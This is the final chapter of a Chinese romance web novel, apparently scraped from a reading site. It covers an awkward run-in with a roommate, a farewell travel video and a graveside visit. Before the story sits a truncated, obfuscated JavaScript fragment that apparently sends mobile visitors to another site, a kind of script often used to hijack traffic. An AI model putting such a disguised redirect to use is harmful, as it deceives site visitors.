l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182762|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一声,忍不住沉下下巴又去吻她,唇齿张合间他安抚道,“那我快去快回。”
麦初又被他弄得气息不稳,含糊催促,“那你快去呀。”
两人正耳鬓厮磨,屋子里陡然传来清晰的锁舌弹动声。
空气瞬间凝固,两人皆是浑身一凛,乔翊反应极快,立刻将麦初严实地护到了身后。
他当是进了贼,目光凌厉地扫向发声处,刚要出声喝问,对方已不打自招先开了口。
“别慌别慌,是我是我。”
熟悉的声音传来,竟是姝言。
乔翊绷紧的肩背瞬间松了下来,麦初却恨不能原地消失。
好在他们进屋时没来得及开灯,否则此时此刻的窘态,她恐怕得以羞愤撞墙来了结。
惊魂重定后,屋子里灯火通明。
沙发上的姝言蜷坐着,像个闯了祸的孩子般低首垂眸,她小声解释。
“我人也才回来不久,就在你们前脚一会儿功夫……想着赶紧拿几件换衣服就走的,就没开客厅的灯……谁知道你们后脚就回来了……”说完又赶紧抬头找补,她信誓旦旦,“不过我什么都没看到,什么都没,真的。”
乔翊正站在玄关处,在姝言投来视线的瞬间他立刻侧身端详起墙上的装饰画来。
他看似若无其事,仿佛在观察麦初家中的陈列,唯有耳根泛起的一抹红,把他故作镇定的平静拆穿得一干二净。
麦初明明也羞臊难当,却还能捕捉到姝言话里的关键词,注意力跟着一偏,随口问道。
“你又要出差?”
姝言抠抠手指,一副老实交代的模样,“向洵说让我去他那儿……”
麦初一下反应过来,眼睛微微睁大,“你们,你们要同居了?你要搬走了?”
姝言被直接点破,脸上也开始发烫,但想想也没什么好掖着藏着的,索性大方承认,她坦然摊开话题,“这样,大家以后不就都方便了么……”
她们“相依为命”了多年,如今姝言为了向洵说走就走,偏偏她还一语中的,令麦初语塞中又夹杂着失落,竟一时无话可回。
她转而看向乔翊,他却好整以暇地站在那里,一味不语,只是唇角兜笑,仿佛一切尽在预料之中。
他这闲庭信步的样子,惹得麦初又恼又急,她没好气地抬手朝他捶了一记。
乔翊就势将她的手握住,紧紧贴在自己胸前,宠溺地接住了她所有的小情绪。
随后,他故作表态地清了清嗓。
“我倒觉得……姝言说的对,我同意。”
这下他迎来了麦初比先前更为结实,更不客气的“暴力”捶打……
向洵在地下车库等了姝言半天不见人影,发的消息也不回,心里不免有些担心,便直接乘电梯上楼找了过去。
谁知门一开,见到的不止姝言,还有麦初和乔翊。
三双眼睛齐刷刷看向他,又成了四人齐聚的热闹场面。
他先是一怔,等反应过来后,也开始忍俊不禁。
最后他笑着开口。
“怎么着?来都来了,我们四个,是凑一桌打麻将呢,还是一块儿出去吃个夜宵?”
……
*
六个月后。
麦初那个沉寂近三年的百万级账号,忽然更新了一条视频。
视频以无人机视角徐徐铺开夏安岛的全貌,背景音乐是钢琴版的《Counter Attack》,韵律温柔而坚定。
随着镜头掠过岛屿的每一处风景,她和乔翊的英文旁白交替响起,他们的声音里仿佛带着故事,带着力量,也带着方向,每一帧画面都在发出诚挚的邀请,令人心向往之。
麦初:
“You gotta to get back out in the world
(你得回到外面的世界)
Get out of that lonely house
(走出那间困住你的房子)
that little workshop of yours
(走出你的工作间)
Get back out on the road
(重新上路)
You''re going to live a long time
(你还能活很久很久)
You should make a radical change in your lifestyle!
(你可以做的就是改变你的生活方式)
I mean, the core of man''s spirites from new experiences.
(人的精神核心来自于全新的体验)
乔翊:
“We are all visitors to this time,this place
(我们都是这个时代、这个地方的访客)
We are just passing through
(我们只是路过)
Our purpose here
(我们来这里的目的)
Is to observe
(就是去观察)
to learn
(去学习)
to grow
(去成长)
to love
(去爱)
And then we return home…
(最后我们便孑然一身,悄然归去)
视频结尾缓缓定格——
夕阳下的沙滩,两道牵手的背影逐渐走向海天相接处。
至此,这个账号再未更新。
*
转眼又是一年盛夏。
乔翊曾经的学生们,在这个暑假再次不约而同地相聚,来到了夏安岛。
佟辉的墓前,清填饱满的无花果又一次被静静堆满,大家像往年一样围坐下来,对着他你一言我一语地絮絮低语起来。
“佟辉,我们又来跟你吐槽啦,成年人的世界真是糟糕透了,你都不知道有多累……”
最后的最后,他们却又都笑了起来,因为有一件事,让每个人的心头都被暖意与欣慰所填满。
“佟辉,是你一直在默默守护着乔老师对吗?他遇到可以共度一生的人了,以后再也不是孤单一人……他的病也在慢慢好转,你可以放心了。”
海风轻柔拂过,将无花果清甜的香气送往岛屿的每个角落。
佟辉站在那里笑容灿烂,明亮,自信,坚定,仿佛从未离开过……
(全文完)